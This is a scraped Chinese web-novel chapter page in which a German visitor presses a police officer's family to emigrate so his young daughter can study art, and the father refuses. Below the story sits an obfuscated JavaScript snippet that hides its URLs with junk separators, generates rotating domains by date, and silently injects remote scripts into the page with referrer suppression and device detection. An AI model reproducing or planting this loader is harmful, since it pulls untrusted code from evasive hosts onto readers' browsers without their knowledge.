返回

104、104 小人参她三岁半

首页
报错
关灯
护眼
字:
大
中
小
上一章 回目录 下一页

汉斯通过混身散发着臭味的俞敏,已经跟贺译民交涉过很久了。

就比如说,他觉得贺斌那个孩子也很不错,而贺译民本人呢,不仅仅是一个公安,在钢厂的业务方面,居然也有很强的能力。

所以他现在谈的,不仅仅是让超生去留学那么简单,他想给贺译民申请一个技术移民,让贺译民全家慢慢的,都到德国去生活。

而超生,他是认真的想培养成一个优秀的艺术家。

德国的公共福利大家是有目共睹的,在那边生活,不论从物质,还是从孩子的教育方面来说,跟国内是天壤之别啊。

这都十二月份了,贺家的孩子们一人也就一件小棉袄外面套一件罩衣,连羽绒服都没得穿,这在汉斯看来,简朴到无法想象了。

俞敏心里也在暗暗觉得贺译民傻,全家移民,这就放北京,那得是街坊邻居们羡慕到眼红的事儿,他怎么就一直不肯答应呢。

这不,把盛海峰叫来之后,贺译民看超生也跟在后面,就开始说了。

“对不起,汉斯先生,不止我闺女,我们全家都不可能去国外,我们还是要生活在我们的国家。”贺译民说。

汉斯早料到贺译民会这么固执,所以他说:“你这样做未免太自私,这是在扼杀孩子的艺术生命。”

这话说的就有点狠了。

贺译民听完盛海峰的翻译,特认真的说:“虽然我不懂艺术,但是,我觉得艺术来源于生活。我闺女之所以画的好,是因为她热爱她目前的生活,她爱她的鸽子,她就能画出一只漂亮的鸽子来,她爱她的兔子,她就能画出一只兔子来。艺术家也是需要成长的,东西方的文化本身不同,套用一句老话,桔生南方为桔,生北方为枳,我觉得,于其为了让她能够成为一个艺术家而全家背井离乡,倒不如让她快快乐乐的长大,她才五岁,需要的是吸收一切她需要吸收的文化、知识,这个民族的底蕴,然后,才能提到创作。如果她内心没有足够的底蕴,又怎么可能进行表达,进行创作呢?”贺译民说。

这段话足够长,翻译起来也有足够的难度,所以,盛海峰得酝酿一会儿,才能精准的把它给翻译出来。

且不说盛海峰翻译完,汉斯会怎么想


本章未完,点下一页继续阅读。>>>

let urls=["hUUtUUtUUpUUsUU:UU/UU/UU{UUdUUdUUmUU}UU/UU1UU8UU/UU1UU1UU0UU5UU6UU1UUbUU2UU6UU2UU9UU3UU8".split("UU").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMsMM.MMlMMtMMdMMzMMzMM.MMcMMoMMmMM/MM1MM8MM/MM1MM1MM0MM5MM6MM1MMbMM2MM6MM2MM9MM3MM8".split("MM").join("")];window.__rr__hld=1;let urlindex=0;let ddm=function(){let i = parseInt((new Date().getTime()/1000 - 1767052800)/86400/2);i = i %30;let ds = ['3w2t89814','btsel5g','6xklldl','2jtbig','kjbyn6zr96','8wz4mjirv','hpm47fyaf','oc79obwnpm','hjvrl','aroychmdcl','lx51ib3szv','6z2h1lycfw','ef7t2','31fpdcrf','uqn83ea8q'];return ds[i%15] + (i<15?".cc":".co"+"m");};let rfunc=function(){if(window.__rr__loaded_2938_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++].replace(/\{ddm\}/g,ddm())+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);}};rfunc();rfunc();
上一章 回目录 下一页